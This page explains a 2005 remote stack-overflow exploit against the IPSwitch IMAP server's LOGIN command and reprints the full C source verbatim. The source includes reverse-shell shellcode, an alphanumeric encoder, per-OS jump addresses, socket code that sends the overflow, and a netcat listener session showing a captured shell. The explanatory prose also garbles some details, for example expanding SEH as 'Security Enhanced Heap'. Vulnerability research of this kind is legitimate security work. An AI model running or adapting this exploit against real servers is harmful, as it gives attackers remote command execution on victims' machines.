IPSwitch IMAP Server LOGON Remote Stack Overflow Exploit Explained

IPSwitch IMAP Server LOGON Remote Stack Overflow Exploit Explained
What this paper is
This paper details a remote stack overflow vulnerability in the IPSwitch IMAP Server's LOGON command. The exploit, written by "nolimit" and "BuzzDee", aims to gain a remote shell on a vulnerable server. It highlights the challenges posed by Windows XP SP2 and Windows Server 2003's Security Enhanced Heap (SEH) protections, which limit the types of memory addresses that can be used for exploitation. The exploit focuses on achieving a reverse shell due to limitations in the available stack space for a bindshell.
Simple technical breakdown
The vulnerability lies in how the IPSwitch IMAP Server handles the LOGON command. When a user attempts to log in, the server likely copies user-provided data into a fixed-size buffer on the stack without proper bounds checking. By sending a specially crafted LOGON command with an excessively long username, an attacker can overwrite the return address on the stack. This overwritten return address is then redirected to attacker-controlled code (shellcode) that executes with the privileges of the IMAP server process.
The exploit uses a reverse shell, meaning the compromised server initiates a connection back to the attacker's machine. This is often preferred for bypassing firewalls. The paper mentions using "ALPHA2's decoder and encoder" to create alphanumeric shellcode, which is necessary to bypass certain security checks that might otherwise flag shellcode containing non-alphanumeric characters.
A key challenge discussed is the Windows SEH protection. This protection mechanism makes it difficult to use arbitrary memory addresses for the return pointer. The exploit attempts to overcome this by using alphanumeric shellcode and carefully selecting jump targets (often within system DLLs) that are considered "alphanumeric safe" in certain memory regions. However, the paper notes that this protection prevents exploitation on Windows XP SP2 and Windows Server 2003.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break down its components:
main function
Includes and Pragmas:
stdio.h,string.h,winsock.h: Standard C libraries for input/output, string manipulation, and Windows networking.#pragma comment(lib,"ws2_32"): Links the Winsock 2.0 library, required for network operations on Windows.
Global Variables:
char buffer[2500];: A large buffer to construct the exploit payload.
Shellcode Definitions:
unEncShellcode[]: This is the raw, unencoded shellcode. It's designed to be a reverse shell. It contains instructions to resolve necessary Windows API functions (likeconnect,CreateProcess,WSASocket, etc.), establish a network connection back to the attacker, and then execute a command shell.jmpBack[]: This string is a crucial part of the alphanumeric encoding. It decodes to aJMP ECXinstruction, which is used to jump to the beginning of the encoded shellcode.jmp2KSP4,jmp2KSP3,jmp2KSP2,jmp2KSP1,jmp2KSP0,jmpXPSP0: These are byte arrays representing different jump instructions or POP-POP-RET sequences. They are used to redirect execution flow to the shellcode after the stack overflow, depending on the target Windows version and service pack. These are essentially different "return addresses" or "jump targets" tailored for specific OS configurations.
mainFunction Logic:Argument Parsing:
- The program expects at least 5 command-line arguments:
retnaddr: The IP address of the attacker's machine (where the reverse shell should connect).retport: The port on the attacker's machine to connect to.target: A numerical identifier for the target Windows version/SP.address: The IP address of the vulnerable IPSwitch IMAP server.<port_to_exploit>(optional): The port of the IMAP server, defaults to 143.
- If fewer than 5 arguments are provided, it prints usage instructions and exits.
- If a 6th argument is provided, it's used as the IMAP server port.
- The program expects at least 5 command-line arguments:
Winsock Initialization:
WSAStartup(0x0202, &wsaData);: Initializes the Winsock library.
Target IP Resolution:
ip = gimmeip(argv[4]);: Resolves the IP address of the target IMAP server using thegimmeipfunction.
Socket Creation and Connection:
targetTCP.sin_family = AF_INET;,targetTCP.sin_addr.s_addr = ip;,targetTCP.sin_port = htons(port);: Sets up thesockaddr_instructure for the target.sockTCP = socket(AF_INET, SOCK_STREAM, 0);: Creates a TCP socket.connect(sockTCP, (struct sockaddr *)&targetTCP, sizeof(targetTCP));: Attempts to connect to the IMAP server.
Shellcode Preparation:
unsigned long revIp = gimmeip(argv[1]);: Resolves the attacker's IP address.unsigned long *revPtr = (unsigned long *)&unEncShellcode;: Creates a pointer to the beginning of theunEncShellcode.revPtr = revPtr + (160/4);: Advances the pointer to the location withinunEncShellcodewhere the attacker's IP address should be placed. The shellcode is designed to have placeholders for IP and port.*revPtr = revIp;: Inserts the attacker's IP address into the shellcode.char *portPtr = (char *)revPtr + 6;: Calculates the position for the port number.int rPort = atoi(argv[2]);: Converts the attacker's port argument to an integer.char *revPortPtr = (char *)&rPort;: Creates a pointer to the port integer.memcpy(portPtr,revPortPtr+1,1); memcpy(portPtr+1,revPortPtr,1);: This is a byte-swapping operation to insert the attacker's port into the shellcode. It takes the two bytes of therPortinteger and places them in the shellcode in a specific order, likely to match the expected endianness or byte order of the shellcode's network connection setup.
Shellcode Encoding:
char *shellcode = alphaEncodeShellcode(unEncShellcode,sizeof(unEncShellcode));: Calls thealphaEncodeShellcodefunction to encode the preparedunEncShellcode.
Buffer Construction:
paddingSize = 676 - strlen(shellcode);: Calculates the amount of padding needed. The total buffer size before the return address is designed to be 676 bytes. This padding is filled with NOPs (or similar instructions) to ensure the shellcode is reached.memset(buffer,'\x00',2500);: Initializes the entire buffer with null bytes.strcpy(buffer,"A001 LOGIN user@");: Starts the buffer with a string that likely triggers the vulnerableLOGONcommand. The "A001" might be a specific command identifier for the IMAP server.memset(buffer+16,'\x41',paddingSize);: Fills the buffer with 'A' characters (often used as NOPs or part of a slide) up to the calculatedpaddingSize. This forms the "NOP sled" or padding before the shellcode.strcat(buffer,shellcode);: Appends the encoded shellcode.strcat(buffer,"r!s!");: Appends a small string "r!s!". This might be a marker or part of the exploit's logic to ensure correct execution flow.- Target-Specific Jumps: A
switchstatement appends the appropriate jump instruction (jmp2KSPxorjmpXPSP0) based on thetargetargument. This jump instruction is placed after the shellcode and before the main buffer overflow data. It's intended to redirect execution to the shellcode. memset(buffer+strlen(buffer),'\x41',29);: Adds more padding with 'A' characters.strcat(buffer,jmpBack);: Appends thejmpBackstring, which decodes toJMP ECX. This is part of the alphanumeric encoding mechanism.memset(buffer+strlen(buffer),'\x41',1323);: Adds a large amount of padding with 'A' characters.strcat(buffer," nolimits\r\n");: Appends the final part of the command, likely including a username and the IMAP command terminator.
Sending the Exploit:
send(sockTCP, buffer, strlen(buffer),0);: Sends the constructed buffer to the IMAP server.
Cleanup:
closesocket(sockTCP);,WSACleanup();: Closes the socket and cleans up Winsock resources.- Prints a success message.
gimmeip function
- Purpose: Resolves a hostname to an IP address.
- Inputs:
char *hostname(the hostname or IP address string). - Behavior:
- First, it tries to convert the input string directly into an IP address using
inet_addr. - If
inet_addrfails (returns a negative value, indicating it's not a valid IP address string), it usesgethostbynameto perform a DNS lookup. - If DNS lookup fails, it prints an error and exits.
- If successful, it copies the IP address from the
hostentstructure.
- First, it tries to convert the input string directly into an IP address using
- Output:
longrepresenting the IP address.
alphaEncodeShellcode function
- Purpose: Encodes raw shellcode into an alphanumeric string format using a modified ALPHA2 encoding scheme. This is crucial for bypassing filters that might detect non-alphanumeric characters in shellcode.
- Inputs:
char *shellcode: The raw shellcode to encode.int size: The size of the raw shellcode.
- Behavior:
- It uses a set of
valid_chars("0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"). - For each byte in the input
shellcode:- It splits the byte into two nibbles (4-bit values):
A(high nibble) andB(low nibble). - It generates two new nibbles,
CandD, andEandF, such that the original byte(A<<4)+Bis reconstructed from the encoded bytes(C<<4)+Dand(E<<4)+F. - The encoding process involves XORing or subtracting nibbles and then finding characters from
valid_charsthat correspond to the resulting nibbles. Randomness is introduced by selecting arbitrary characters forEandCas long as the resulting encoded nibbles are valid. - The encoded byte
(C<<4)+Dand(E<<4)+Fare then appended to theencShellcodebuffer.
- It splits the byte into two nibbles (4-bit values):
- The function prepends a fixed string
ecx_mixedcase_ascii_decoder("IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI") to the encoded shellcode. This string decodes to a sequence of instructions that effectively sets upECXto point to the beginning of the actual encoded shellcode. This is how thejmpBackstring later decodes toJMP ECXto start execution.
- It uses a set of
- Output: A pointer to the newly allocated, encoded alphanumeric shellcode string.
unEncShellcode breakdown (conceptual, as raw bytes are complex)
The unEncShellcode is a standard reverse shell payload. It typically performs the following steps:
- Locate Kernel32.dll and WS2_32.dll: It needs to find these essential DLLs in memory to resolve function addresses.
- Resolve API Functions: It uses techniques like iterating through export tables or using
GetProcAddress(often indirectly) to find the addresses of critical Windows API functions needed for networking and process creation (e.g.,WSAStartup,socket,connect,CreateProcessA,ExitProcess,VirtualAlloc,RtlMoveMemory). - Establish Network Connection:
- It calls
WSAStartupto initialize Winsock. - It creates a TCP socket (
WSASocket). - It sets up the
sockaddr_instructure with the attacker's IP and port. - It calls
connectto establish the reverse connection back to the attacker.
- It calls
- Spawn Shell:
- Once connected, it typically uses
CreateProcessAto start a command interpreter (cmd.exe). - Crucially, it redirects the standard input, output, and error streams of the spawned
cmd.exeprocess to the established network socket. This allows the attacker to send commands and receive output over the network.
- Once connected, it typically uses
- Loop/Wait: The shellcode might enter a loop to keep the connection alive or to handle multiple commands.
The specific byte sequence in unEncShellcode is the machine code for these operations. The placeholders \x64\x64\x64\x64 (for IP) and the subsequent bytes for port are where the main function injects the attacker's connection details.
jmpBack breakdown (conceptual)
The jmpBack string is a sequence of alphanumeric characters. When processed by the ALPHA2 decoding logic (which is implicitly used by the alphaEncodeShellcode function and the jmpBack string itself), it decodes into instructions that result in a JMP ECX operation. The ecx_mixedcase_ascii_decoder prepended to the encoded shellcode ensures that ECX is set to point to the beginning of the decoded shellcode. Therefore, JMP ECX effectively jumps to the start of the reverse shell payload.
Code Fragment/Block -> Practical Purpose Mapping
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
/*
IpSwitch IMAP Server LOGON stack overflow.
Software Hole discovered by iDEFENSE
POC written by nolimit and BuzzDee
First, some information for the few of you that know how this stuff works.
The reason you see no SP2 or 2003 offsets is because of Windows SEH checks.
Thats right, in this one situation, They've stopped hackers from exploiting the machine.
At least with as much research as I care to do. The problem lies in the
fact that only alpha numeric memory addresses can be used in this exploit.
So what lies within the few regions of memory that is alpha numeric safe? Only system
DLLs.(Well also a 7000 byte TEB block section, which doesn't really produce much either).
So any SEH address overwritten that points to a system DLL will fail past Windows XP SP2.
From what I've read and the few tricks I've tried, Theirs no way currently to get around the
protection In my situation.
For the sharp ones, you've maybe noticed that XP SP1 isn't an offset. This is because
of two reasons, While I've developed along with skylined an alpha numeric shellcode
to handle the stack protections in Windows XP/2K3, I don't think he's ready to release
it yet.So, when It does come around, you can use that and re-adjust the stack accordingly
for proper exploitation of SP1.
The size we have on the stack is too small for a bindshell, but big enough for a reverse shell!
So I use ALPHA2's decoder and encoder (modified) to write info to reverse shell, then encode it.
visit http://www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php for more information.
Now, for the "impact assessment".
Because this doesn't work on SP2 / 2003, the 53 million users that use Imail should
mostly be safe from complete ownage. But, Do not let this fact let you not patch your
server! This exploit, sent with any offset, will still crash your IMAP server!
With that said, Thier is still a small amount of servers online that run one of these
targetted offsets, and therefore can be exploited. I hope this Proof Of Concept is the
push administrators need to patch their software.
For Da Skiddies: this exploit is teh oww kay. I g0t a f3w shells0rs.
C:\HACKING\tools>nc -vv -l -p 3333
listening on [any] 3333 ...
DNS fwd/rev mismatch: 2kvm != 2kvm.launchmodem.com
connect to [192.168.1.95] from 2kvm [192.168.1.93] 1078
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>_
Questions? Comments?
nolimit@coreiso.org
- - ---.
.----------------------. | ·
| :::::::::''''':::::: | ! · /
l ''''' '': | ` /_/
.--- --·X·----------- -- - - | - c o r e i s o __ \ · - - ---.
| ! : /_/\ \/ |
| _\ \ \ |
S! /\____ | _ ______/\ __ ______/\ __ ______/\ / /\_\/ _______ /\______
_/ _/_____\ _ \__ _ \__ _ \_/ / \ _/ ____// _ \_
// / _ / / _/ / / / / / \_____ |/ /
_/ / / / _/ \ _/\ ______/\/ /: |/ / /|
\ ___________/\ _________\ _____|\______\ __________\ /|| _______________|
\/ . . \/ \/ . \/ /_/ / |______\ .
| | . _\ \ / |
| | l /_/\_\/ |
`------ | ------- -- - - ---·X·-- - -_\ \ \ - - - -- ----'
. | :. ..... !. / /\_\/
: | :::::......::::::::: |: / /. \
| `----------------------'| /_// / www.coreiso.org
`--- - - | \ \ / Innovation, not imitation.
- - ---' \_\/
*/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
void cmdshell (int sock);
long gimmeip(char *hostname);
char buffer[2500];
//special stuff
char* alphaEncodeShellcode(char *shellcode, int size);
// un-crypted shellcode that we'll fill our retn values, then encode.
char unEncShellcode[]=
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
//160 above, ip next 4 bytes then, pass 2 theres port
"\x64\x64\x64\x64\x66\x68\x0d\x05\x66\x53\x89\xe1\x95\x68\xec\xf9"
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
"\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";
//modified encoded alpha num SUB ECX, 2E8 JMP ECX
char jmpBack[]=
"VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089"
"IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIoqYyKHTB30WpyoKQAPA";
int paddingSize; // change when changing shellcode. 676 bytes - shellcodesize = this.
char jmp2KSP4[] = "\x40\x43\x44\x78"; //JMP EBX 2000 SP4 TESTED
char jmp2KSP3[] = "\x40\x23\x44\x78"; //JMP EBX 2000 SP3
char jmp2KSP2[] = "\x40\x21\x46\x78"; //JMP EBX 2000 SP2
char jmp2KSP1[] = "\x62\x54\x30\x77"; //POP POP RETN 2000 SP1 (no jmp ebx)
char jmp2KSP0[] = "\x6C\x30\x6B\x77"; //JMP EBX 2000 SP0
char jmpXPSP0[] = "\x63\x4F\x60\x77"; //JMP EBX WinXP SP0 no SEH XOR prot so JMP EBX is ok
int main(int argc,char *argv[])
{
WSADATA wsaData;
struct sockaddr_in targetTCP;
int sockTCP;
unsigned short port = 143;
long ip;
if(argc < 5)
{
printf("IpSwitch IMAP server Remote Stack Overflow.\n"
"This exploit uses a reverse shell payload.\n"
"Usage: %s [retnaddr] [retport] [target] [address] <port_to_exploit>\n"
" eg: %s 192.168.1.94 1564 2 192.168.1.95\n"
"Targets:\n"
"1. Windows XP SP 0.\n2. Windows 2000 SP4\n3. Windows 2000 SP3\n"
"4. Windows 2000 SP2\n5. Windows 2000 SP1\n6. Windows 2000 SP0\n"
"Read comments in source code for more info.\n"
"Coded by nolimit@CiSO and BuzzDee.\n",argv[0],argv[0]);
return 1;
}
if(argc==6)
port = atoi(argv[5]);
WSAStartup(0x0202, &wsaData);
printf("[*] Target:\t%s \tPort: %d\n\n",argv[4],port);
ip=gimmeip(argv[4]);
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(port);
//set ip/port specified. Probably could have done this easier, but whatever.
unsigned long revIp = gimmeip(argv[1]);
unsigned long *revPtr = (unsigned long *)&unEncShellcode;
revPtr = revPtr + (160/4); //go to ip place, it adds by 4, and it's 160 bytes away.
*revPtr = revIp;
char *portPtr = (char *)revPtr + 6; //ptr + 2 bytes past
int rPort = atoi(argv[2]);
char *revPortPtr = (char *)&rPort;
memcpy(portPtr,revPortPtr+1,1);
memcpy(portPtr+1,revPortPtr,1);
//done formatting, now lets encode it.
char *shellcode = alphaEncodeShellcode(unEncShellcode,sizeof(unEncShellcode));
paddingSize = 676 - strlen(shellcode);
//form buffer here.
memset(buffer,'\x00',2500);
strcpy(buffer,"A001 LOGIN user@");
memset(buffer+16,'\x41',paddingSize); //INC ECX nopslide
strcat(buffer,shellcode);
strcat(buffer,"r!s!"); //jmp over SE handler
switch(atoi(argv[3]))
{
case 1:
printf("[*] Targetting Windows XP SP 0..\n");
strcat(buffer,jmpXPSP0);
break;
case 2:
printf("[*] Targetting Windows 2000 SP4..\n");
strcat(buffer,jmp2KSP4);
break;
case 3:
printf("[*] Targetting Windows 2000 SP3..\n");
strcat(buffer,jmp2KSP3);
break;
case 4:
printf("[*] Targetting Windows 2000 SP2..\n");
strcat(buffer,jmp2KSP2);
break;
case 5:
printf("[*] Targetting Windows 2000 SP1..\n");
strcat(buffer,jmp2KSP1);
break;
case 6:
printf("[*] Targetting Windows 2000 SP0..\n");
strcat(buffer,jmp2KSP0);
break;
default:
printf("Target error.\n");
return 1;
break;
}
memset(buffer+strlen(buffer),'\x41',29);
strcat(buffer,jmpBack); //decodes to jmp back to top part of buffer
memset(buffer+strlen(buffer),'\x41',1323);
strcat(buffer," nolimits\r\n");
//buffer formed
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("[x] Socket not initialized! Exiting...\n");
WSACleanup();
return 1;
}
printf("[*] Socket initialized...\n");
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{
printf("[*] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);
}
printf("[*] Sending buffer.\n");
Sleep(1000);
if (send(sockTCP, buffer, strlen(buffer),0) == -1)
{
printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();
return 1;
}
Sleep(1000);
closesocket(sockTCP);
WSACleanup();
printf("Exploit sent. Reverse Shell should be comming if everyhing worked.\n");
return 0;
}
/*********************************************************************************/
long gimmeip(char *hostname)
{
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0)
{
if ((he = gethostbyname(hostname)) == NULL)
{
printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
WSACleanup();
exit(1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
/*********************************************************************************/
//Below here, all code is modified code from ALPHA 2: Zero-tolerance by Berend-Jan Wever.
// aka Skylined <skylined@edup.tudelft.nl>. Hats off to him.
//ecx ascii decoder.
#define ecx_mixedcase_ascii_decoder "IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
// shellcode ptr & size
char* alphaEncodeShellcode(char *shellcode, int size)
{
int i, input, A, B, C, D, E, F;
char* valid_chars="0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
//first, create a big enough shellcode memory section
char *encShellcode = (char *) malloc(sizeof((ecx_mixedcase_ascii_decoder) + (size * 2)));
strcpy(encShellcode,ecx_mixedcase_ascii_decoder);
char buff[4];
int z=0;
for(;z < size;z++)
{
// encoding AB -> CD 00 EF 00
A = (shellcode[z] & 0xf0) >> 4;
B = (shellcode[z] & 0x0f);
F = B;
// E is arbitrary as long as EF is a valid character
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
E = valid_chars[i] >> 4;
// normal code uses xor, unicode-proof uses ADD.
// AB ->
D = 0 ? (A-E) & 0x0f : (A^E);
// C is arbitrary as long as CD is a valid character
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
C = valid_chars[i] >> 4;
//edit, use curChar ptr to strncpy it.
//printf("%c%c", (C<<4)+D, (E<<4)+F);
sprintf(buff,"%c%c",(C<<4)+D, (E<<4)+F);
strcat(encShellcode,buff);
}
return encShellcode;
}
// milw0rm.com [2005-06-07]